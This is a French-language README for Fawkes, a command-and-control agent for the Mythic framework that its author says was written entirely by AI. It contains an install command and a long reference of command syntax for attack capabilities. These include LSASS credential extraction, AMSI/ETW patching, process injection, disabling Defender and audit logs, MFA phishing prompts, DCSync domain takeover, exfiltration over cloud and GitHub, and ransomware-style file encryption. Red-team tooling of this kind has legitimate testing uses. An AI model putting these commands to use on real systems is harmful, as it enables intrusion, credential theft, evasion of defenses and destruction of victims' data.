
Fawkes est un agent Mythic C2 en golang exclusivement écrit par IA.
# Fawkes Mythic C2 Agent
<img src="https://raw.githubusercontent.com/galoryber/fawkes/HEAD/agent_icons/fawkes.svg" width="100" />
Fawkes est un agent Mythic C2 entièrement vibe-coded. Cela a commencé comme un « je me demande » et est devenu un objectif. Mon objectif est de ne pas écrire une seule ligne de code pour cet agent, mais plutôt de le produire exclusivement à partir d'une invite.
J'ai d'abord tenté d'écrire l'agent moi-même, mais après avoir cloné le conteneur d'exemple, lu la documentation de Mythic, regardé les vidéos YouTube de la série de développement et copié du code d'autres agents comme Merlin ou Freyja, j'ai décidé que je n'avais tout simplement pas le temps de développer mon propre agent. Mais pour une invite, j'ai le temps.
Fawkes est un agent basé sur Golang avec des capacités multiplateformes. Il prend en charge **Windows** (exécutables EXE, DLL et payloads shellcode), **Linux** (binaires ELF et bibliothèques partagées), et **macOS** (binaires Mach-O pour Intel et Apple Silicon). **213 commandes** au total : 113 multiplateformes, 82 uniquement Windows, 21 uniquement Unix, 11 uniquement Linux, et 6 uniquement macOS (certaines commandes ont des implémentations spécifiques à la plateforme partageant un même nom visible par l'utilisateur, par ex. screenshot). Prend en charge la sortie HTTP et les liaisons peer-to-peer (P2P) TCP pour le pivotement interne.
## Installation
Pour installer Fawkes, vous aurez besoin de Mythic installé sur un ordinateur distant. Vous trouverez les instructions d'installation pour Mythic sur la [page du projet Mythic](https://github.com/its-a-feature/Mythic/).
Depuis le répertoire d'installation de Mythic :```
./mythic-cli install github https://github.com/galoryber/fawkes
```
## Référence rapide des commandesCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Lire/modifier les DACL d'objets Active Directory (ajouter/supprimer des ACE, accorder DCSync, GenericAll, sauvegarde/restauration). Multi-plateforme (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Énumérer les services de certificats AD, trouver les modèles vulnérables (ESC1-ESC4, ESC6 via DCOM), demander des certificats via DCOM pour l'exploitation ESC1/ESC6, ou auto-exploitation (trouver → analyser → chaîne de demande). Multi-plateforme (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Windows uniquement)** Gérer les flux de données alternatifs NTFS — écrire, lire, lister ou supprimer des flux de données cachés. Prend en charge le texte et le binaire encodé en hexadécimal. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Interroger et nettoyer les artefacts d'exécution judiciaire. Windows : Shimcache. Linux : recently-used.xbel, thumbnails, Tracker. macOS : recent items, KnowledgeC, quarantine (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Windows uniquement)** Injection de processus distant. `-method apc` (défaut) place le shellcode via NtQueueApcThread dans un thread alertable (utilisez `ts` pour en trouver un). `-method hwbp` s'attache via DebugActiveProcess, définit un point d'arrêt matériel DR0 sur une API cible (défaut `ntdll!NtDelayExecution`), et redirige Rip vers le shellcode lorsque le point d'arrêt se déclenche — pas de TID requis, pas de file APC, pas de CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Enregistrer l'audio du microphone et télécharger le fichier WAV. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Multi-plateforme (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Windows uniquement)** Interroger et modifier les politiques d'audit Windows. Désactiver la journalisation des événements de sécurité avant les opérations sensibles. Le mode furtif désactive les sous-catégories critiques pour la détection. Utilise l'API AuditQuerySystemPolicy (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Windows uniquement)** Exécuter une commande avec des arguments de processus usurpés. Contre Sysmon Event ID 1 et la télémétrie de ligne de commande des EDR (T1564.010).
arp | `arp [-ip <subnet>]` ou `arp -action spoof -target <IP> -gateway <IP>` | Afficher la table ARP avec filtrage, ou empoisonnement du cache ARP pour un positionnement MITM (T1557.002). Spoof : Linux uniquement, restaure lors du nettoyage.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | Demander des tickets AS-REP pour les comptes sans pré-authentification et extraire les hachages au format hashcat pour craquage hors ligne. Auto-énumération via LDAP. Multi-plateforme (T1558.004).
av-detect | `av-detect [-deep true]` | Détecter les produits AV/EDR/sécurité installés en analysant les processus en cours d'exécution avec une base de signatures de 130+ entrées. Avec `--deep`, vérifie également les modules du noyau, les unités systemd et les répertoires de configuration pour les produits installés mais non exécutés (Linux). Signale le produit, le fournisseur, le type et le PID. Multi-plateforme.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Windows uniquement)** Patcher automatiquement une fonction en sautant vers le retour (C3) le plus proche. Utile pour les contournements d'AMSI/ETW.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Boîte à outils d'encodage de données : base64, XOR (avec clé chaîne/hex), hex, ROT13, encodage URL, chiffrement César. Tous prennent en charge les E/S fichiers. Multi-plateforme (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Windows uniquement)** Gérer les travaux de transfert BITS pour la persistance et le téléchargement furtif de fichiers. Créer, suspendre, reprendre, terminer des travaux et définir des commandes de notification pour la persistance. Les travaux survivent aux redémarrages (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Récolter les données du navigateur depuis Chromium, Firefox et Safari. Historique, autocomplétion, favoris, téléchargements multi-plateforme. Mots de passe : Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (déchiffrement NSS key4.db), Safari (macOS Keychain). Cookies Firefox sur toutes les plateformes. MITRE T1555.003, T1217.
cat | `cat <file>` ou `cat -path <file> -start N -end N -number true` | Afficher le contenu d'un fichier avec plage de lignes optionnelle, numérotation et protection de taille de 5 Mo.
cd | `cd <directory>` | Changer le répertoire de travail actuel.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Modifier les permissions d'un fichier/répertoire avec notation octale (755, 644) ou symbolique (+x, u+rw, go-w). Support récursif. Multi-plateforme (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Linux/macOS uniquement)** Changer le propriétaire d'un fichier/répertoire par nom d'utilisateur/UID et groupe/GID. Support récursif (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | Inspecter les certificats TLS sur les hôtes distants — identifier les CA, les certificats auto-signés, l'expiration, les SAN, la version TLS, les suites de chiffrement et les empreintes SHA256. Multi-plateforme (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Windows uniquement)** Énumérer les magasins de certificats Windows pour trouver des certificats de signature de code, des certificats d'authentification client et des clés privées. Recherche CurrentUser et LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Lire/écrire le presse-papiers ou surveiller en continu les modifications avec détection de motifs d'identifiants. Multi-plateforme (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Métadonnées cloud, extraction d'identifiants, énumération IAM, énumération de stockage, persistance et accès aux magasins de secrets. storage/aws-s3/azure-blob/gcp-gcs : énumérer les buckets/conteneurs avec des exemples d'objets. aws-ssm : Parameter Store SSM avec déchiffrement. azure-keyvault : secrets Key Vault via identité gérée. gcp-secrets : Secret Manager via compte de service. aws-persist/azure-persist : créer des clés d'accès/d'inscriptions d'application de longue durée. Détection automatique. IMDSv2. Multi-plateforme (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Créer, lister, extraire, mettre en scène ou exfiltrer des archives. Stage chiffre avec AES-256-GCM. Exfil transfère vers Mythic. exfil-https : téléchargement vers des URL présignées S3/Azure/GCS avec téléchargement par morceaux, en-têtes personnalisés, gigue. exfil-github : exfiltration via l'API GitHub Contents. Multi-plateforme (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | Coercition d'authentification NTLM via MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Force la cible à s'authentifier auprès de l'écouteur de l'attaquant. Support Pass-the-Hash. Multi-plateforme (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | Afficher ou modifier la configuration d'exécution de l'agent, ou mettre à jour le binaire de l'agent. `show`/`set` : sleep, jitter, kill date, heures de travail. `update` : télécharger une nouvelle charge utile depuis Mythic, vérifier, lancer et quitter l'agent actuel. Multi-plateforme (T1105).
container-detect | `container-detect` | Détecter l'environnement d'exécution de conteneur (Docker, K8s, LXC, Podman, WSL). Vérifie les vecteurs d'évasion comme les sockets Docker et les comptes de service K8s. Multi-plateforme (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Linux uniquement)** Évasion de conteneur + opérations K8s — socket Docker, cgroup, nsenter, montage de périphérique hôte. K8s : énumérer les pods/services, lire les secrets, **k8s-rbac** : balayage ClusterRole/RoleBinding + notation des chemins d'élévation de privilèges (critique/avertissement/info), **k8s-nodes** : surface d'attaque des nœuds du cluster (kubelet/OS/noyau/CIDR/taints/rôles), **k8s-etcd** : découvrir les points de terminaison clients etcd à partir des arguments de pod du plan de contrôle + sonde non authentifiée `/version` par point de terminaison (lecture non authentifiée = compromission totale du cluster), déployer/exécuter des pods via l'API. **Hors cluster** : `-kubeconfig` accepte les fichiers kubeconfig volés pour l'accès K8s depuis des hôtes non-conteneurs (authentification par jeton + certificat client) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Copier un fichier de la source vers la destination.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Tester les identifiants contre SMB, WinRM et LDAP sur les hôtes cibles. `verify-all` teste tous les identifiants du coffre contre les hôtes découverts en parallèle. Multi-plateforme (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Récolter les identifiants : hachages shadow (Unix), configurations cloud (AWS/GCP/Azure/K8s), secrets d'application, analyse de l'historique du shell pour les mots de passe/ jetons/clés API divulgués, historique PowerShell + variables d'environnement + RDP (Windows), jetons OAuth/JWT M365 depuis TokenBroker/Teams/Outlook (Windows), **browser-live** : voler les cookies actifs, localStorage, sessionStorage via le protocole Chrome DevTools (CDP) depuis Chrome/Edge en cours d'exécution. **dump-all** : chaîne de sous-tâches automatisée — exécute hashdump + lsa-secrets + cred-harvest tout en parallèle (Windows). Multi-plateforme (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Afficher une boîte de dialogue d'identifiants native, abuser du flux de code d'appareil OAuth, ou hameçonner des codes MFA. dialog : AppleScript macOS, CredUI Windows, zenity/kdialog Linux. device-code : flux de code d'appareil OAuth Azure AD pour la capture de jetons. mfa-phish : fausse boîte de dialogue de vérification MFA pour capturer les codes TOTP. Multi-plateforme (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | Requêtes HTTP + téléchargement de fichier pour exfiltration (T1567). Téléchargement vers des URL présignées S3, SAS Azure, points de terminaison génériques. Multi-plateforme (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Extraire des champs ou des plages de caractères des lignes d'un fichier. Délimiteurs personnalisés, spécifications de plage. Multi-plateforme (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Énumérer les magasins d'identifiants de la plateforme. Windows : Credential Manager + Vault (CredEnumerateW, vaultcli.dll). Linux : GNOME Keyring (secret-tool), KDE KWallet, mots de passe WiFi/VPN NetworkManager, GNOME Online Accounts. macOS : éléments du trousseau (mots de passe génériques + Internet), mots de passe WiFi. `list` = métadonnées, `dump` = avec secrets, `vault` = Windows uniquement. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Windows uniquement)** Gérer Defender — statut, exclusions, menaces, activer/désactiver la protection en temps réel. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Windows uniquement)** Déchiffrement de blob DPAPI (CryptUnprotectData), énumération de clés maîtresses, extraction de clé de chiffrement Chrome/Edge. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Windows uniquement)** Accéder à la boîte aux lettres Outlook via COM. Compter les messages, rechercher par mot-clé, lire par index, lister les dossiers. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Windows uniquement)** Exécuter des commandes, télécharger des fichiers, ou mettre en scène et exécuter sur des hôtes distants via DCOM. `check` valide les prérequis RPC/DCOM. upload : transférer des fichiers via certutil/PowerShell staging. exec-staged : télécharger puis exécuter avec nettoyage automatique. Six objets COM. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Détecter les débogueurs attachés, outils d'analyse et instrumentation. Windows : IsDebuggerPresent, NtQueryInformationProcess, PEB, registres DR. Linux : TracerPid, LD_PRELOAD, cartes mémoire (Frida/Valgrind/sanitizers), VM/sandbox, surveillance eBPF (Falco/Tetragon/Tracee), framework auditd, portée ptrace. macOS : sysctl P_TRACED, DYLD_INSERT_LIBRARIES, détection VM (sysctl), produits de sécurité (EDR/AV), sandbox/env d'analyse. Tous : analyse des processus de débogage (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — répliquer les identifiants AD via DRS sans toucher à LSASS. `domain-takeover` exécute kerberoast + asrep-roast + dcsync krbtgt/Administrator en parallèle. Multi-plateforme (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Rapporter l'utilisation de l'espace disque du système de fichiers avec filtrage optionnel par périphérique, point de montage ou type de système de fichiers. Multi-plateforme (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Comparer deux fichiers et afficher les différences au format diff unifié. Algorithme basé sur LCS avec lignes de contexte configurables. Multi-plateforme (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | Énumération DNS — résoudre des hôtes, interroger des enregistrements, découvrir des DC, transferts de zone, détection de joker, résolution furtive DNS-over-HTTPS, exfiltration DNS. Multi-plateforme (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Rapporter l'utilisation du disque pour les fichiers et répertoires. Décomposition de la taille par sous-répertoire, trié par plus grand. Multi-plateforme (T1083).
drivers | `drivers [-filter <name>]` | Énumérer les pilotes/modules du noyau chargés. Windows : EnumDeviceDrivers, Linux : /proc/modules, macOS : énumération kext. Multi-plateforme (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | Politique de mot de passe/verrouillage AD et énumération FGPP via LDAP. Recommandations sans risque de pulvérisation. Multi-plateforme (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Linux/macOS uniquement)** Lister, ajouter ou supprimer des tâches cron pour la persistance. Prend en charge les entrées cron brutes ou la syntaxe programme+planification.
download | `download <path>` ou `download {"path": "/file", "compress": true}` | Télécharger un fichier ou un répertoire depuis la cible. Les fichiers >1 Mo sont automatiquement compressés avec gzip (configurable). Les répertoires sont automatiquement zippés. Vérification de hachage SHA256. Transfert par morceaux, intégration du navigateur de fichiers.
drives | `drives` | Lister les lecteurs/volumes disponibles et les systèmes de fichiers montés avec le type, l'étiquette/périphérique et l'espace libre/total.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Windows uniquement)** Énumérer les jetons d'accès dans tous les processus. `list` montre PID/utilisateur/intégrité/session pour chaque processus. `unique` regroupe par utilisateur avec le nombre de processus. Active automatiquement SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | Chiffrement/déchiffrement AES-256-GCM (T1486) + corruption ciblée de fichiers (T1565). corrupt : écraser les en-têtes de fichier avec des données aléatoires. Des gardes de sécurité sont requises pour les opérations destructrices.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | Lister, obtenir, définir ou annuler des variables d'environnement pour le processus de l'agent. Les modifications sont héritées par les processus enfants. Multi-plateforme.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Analyser les variables d'environnement des processus pour les identifiants divulgués, clés API et secrets. 35+ motifs de détection dans les catégories cloud, base de données, CI/CD et crypto. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Manipulation du sous-système d'audit/télémétrie. Windows : arrêter/blinder/blind-all/activer/patcher/restaurer les sessions/fournisseurs ETW. Linux : règles auditd, journald clear/rotate, configuration syslog, détection d'agent SIEM. macOS : journalisation unifiée, détection d'agent de sécurité. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Gérer les journaux d'événements système. Windows : canaux wevtapi.dll. Linux : unités journald et fichiers syslog. macOS : sous-systèmes/processus de journalisation unifiée (os_log). Lister les sources, interroger les événements, effacer/vider les journaux, obtenir des informations. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Exécuter un binaire natif depuis la mémoire. Linux : memfd_create (pas d'écriture disque). macOS : fichier temporaire avec signature ad-hoc. Windows : fichier temporaire avec nettoyage immédiat. Toutes les plateformes suppriment les artefacts après exécution. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Exécuter du shellcode dans le processus actuel. Prend en charge le shellcode encodé XOR/AES-256-CTR avec déchiffrement à l'exécution (T1027). Windows : VirtualAlloc + CreateThread. Linux : mmap (défaut) ou memfd_create. macOS : MAP_JIT (ARM64) ou mmap. Multi-plateforme (T1059.006, T1620).
exit | `exit` | Tâche de sortie de l'agent.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Obtenir ou définir les attributs de fichier — caché, lecture seule, système (Windows) ; immuable, ajout, nodump (Linux) ; caché, immuable (macOS). Omettre -attrs pour voir les indicateurs actuels. Multi-plateforme (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Identifier les types de fichiers par octets magiques (35+ signatures). Un seul fichier ou balayage de répertoire. Détecte les exécutables, archives, documents, images, bases de données, médias et plus. Multi-plateforme (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Rechercher des fichiers par nom, taille, date, permissions ou propriétaire. Trouver les binaires SUID, les fichiers inscriptibles par tout le monde, les fichiers appartenant à des utilisateurs spécifiques. Multi-plateforme (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | Balayer les hôtes pour découvrir où les identifiants ont un accès administrateur via SMB (partage C$) et/ou WinRM. **auto-move** : chaîne de sous-tâches automatisée — trouver les hôtes administrateurs puis se déplacer latéralement vers chacun via psexec/wmi. Prend en charge CIDR, plages IP, PTH, analyse parallèle (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** Gérer les règles de pare-feu. Windows : API COM. macOS : ALF + règles pf ancrées. Linux : iptables/nftables (détection automatique). Support d'ancrage PF pour le filtrage de paquets macOS. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** Lister les privilèges/capacités. Windows : privilèges de jeton avec activation/désactivation/suppression. Linux : capacités de processus (CapEff/CapPrm) + contexte SELinux/AppArmor. macOS : droits, sandbox, groupes (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** Élévation de privilège. Windows : SYSTEM via vol de jeton ou DCOM potato. Linux : vérifier les vecteurs d'élévation (SUID, sudo, capacités, docker) ou tenter l'élévation sudo. macOS : vérifier les vecteurs, sudo, ou invite administrateur osascript (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | Rechercher dans SYSVOL les fichiers XML GPP avec des attributs cpassword chiffrés et les déchiffrer en utilisant la clé AES publiée (MS14-025). Multi-plateforme via SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | Énumérer les objets de stratégie de groupe via LDAP — lister les GPO, cartographier les liens avec application, trouver les paramètres CSE intéressants. Multi-plateforme (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | Rechercher le contenu de fichiers avec des motifs regex. Recherche récursive de répertoire avec filtrage d'extension, lignes de contexte et saut des fichiers binaires. Multi-plateforme (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | Calculer les hachages de fichiers (MD5, SHA-1, SHA-256, SHA-512). Fichiers uniques ou répertoires avec filtrage par motif glob et contrôle de profondeur. Multi-plateforme (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | Afficher le contenu d'un fichier au format hexadécimal+ASCII style xxd. Contrôle du décalage/longueur pour examiner des régions spécifiques, max 4096 octets. Multi-plateforme (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** Énumérer les handles/descripteurs de fichier ouverts dans un processus. Windows : NtQuerySystemInformation. Linux : /proc/pid/fd. macOS : lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** Extraire les hachages de mot de passe des comptes locaux. Windows : hachages NTLM de la ruche SAM (nécessite SYSTEM) ; **insitu** : énumérer les sessions d'ouverture de session actives via les API LSA in-process (nécessite admin) ; **insitu-full** : ouvrir lsass.exe avec PROCESS_VM_READ, sigscan lsasrv.dll pour LogonSessionList, parcourir la liste chaînée, superposer la disposition KIWI_MSV1_0_LIST_63 sur chaque nœud pour extraire LUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointer, parcourir la chaîne d'identifiants par AuthPackage à credentials_ptr pour capturer chaque enveloppe KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC, sigscan LsaInitializeProtectedMemory_Internal pour récupérer les globaux de clé BCrypt IV / h3DesKey / hAesKey plus les octets bruts de clé 16-octets IV / 24-octets 3DES / 32-octets AES, déchiffrer AES-256-CFB / 3DES-CBC chaque blob chiffré capturé (sélectionné par blob selon `len % 8`), et superposer la disposition KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW pour extraire les hachages NT/LM/SHA — émis au format `username:rid:lm:nt:::` compatible avec le hook ProcessResponse du coffre d'identifiants dump-action (Phase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, nécessite admin). Linux : hachages /etc/shadow avec identification du type de hachage (nécessite root). macOS : hachages PBKDF2 des services d'annuaire à partir des plists utilisateur (nécessite root). **auto-spray** : extraire les hachages puis les pulvériser automatiquement via cred-check contre les hôtes cibles. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | Lister ou effacer les fichiers d'historique de commandes shell/application. Couvre bash, zsh, fish, PowerShell, python, mysql et plus. Multi-plateforme (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | Évidement de processus — créer un processus suspendu, écrire le shellcode, rediriger l'exécution. **Windows :** CREATE_SUSPENDED + SetThreadContext, usurpation PPID, blocage DLL, décoration PEB (masquage ImagePath/CommandLine/WindowTitle). **Linux (amd64/arm64) :** PTRACE_TRACEME + écriture /proc/mem. **macOS :** ptrace + API Mach VM (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) — nécessite root. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | Énumérer les configurations IDE — extensions VS Code, hôtes SSH distants, projets récents, paramètres avec secrets. Sources de données JetBrains, serveurs de déploiement, projets récents. Multi-plateforme (T1005, T1083).
ifconfig | `ifconfig` | Lister les interfaces réseau avec adresses, MAC, MTU et indicateurs. Multi-plateforme (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Windows uniquement)** Exécuter un assembly .NET en mémoire en utilisant le CLR. Prend en charge les arguments de ligne de commande. Utilisez `start-clr` d'abord pour le flux de travail de correction AMSI.
inline-execute | `inline-execute` | **(Windows uniquement)** Exécuter un fichier d'objet de balise (BOF/COFF) en mémoire. Prend en charge tous les types d'arguments : chaînes (z), chaînes larges (Z), entiers (i), courts (s) et binaires (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Windows uniquement)** Charger un PE natif (DLL) depuis la mémoire dans le processus actuel. Mappage PE manuel avec copie de section, corrections de relocalisation, résolution d'importations et invocation de DllMain. Appelle éventuellement des fonctions exportées (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Linux uniquement)** Énumération et gestion du pare-feu Linux via iptables/nftables/ufw. IP forwarding, suivi de connexion, listage et modification de règles. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | Arrêter une tâche en cours par son ID. Utilisez `jobs` pour lister les tâches en cours. Multi-plateforme.
jobs | `jobs` | Lister les tâches actuellement en cours avec l'ID de tâche, le nom de la commande et la durée. Multi-plateforme.
jxa | `jxa -code '<script>' [-timeout 60]` ou `jxa -file /path/to/script.js` | **(macOS uniquement)** Exécuter des scripts JavaScript for Automation (JXA) avec accès au pont ObjC vers les frameworks Foundation, AppKit, Security. Prend en charge le code en ligne et l'entrée fichier (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | Demander des tickets TGS pour les comptes SPN et extraire les hachages au format hashcat pour craquage hors ligne. Auto-énumération via LDAP. Multi-plateforme (T1558.003).
```
---
[Read more](https://github.com/galoryber/fawkes)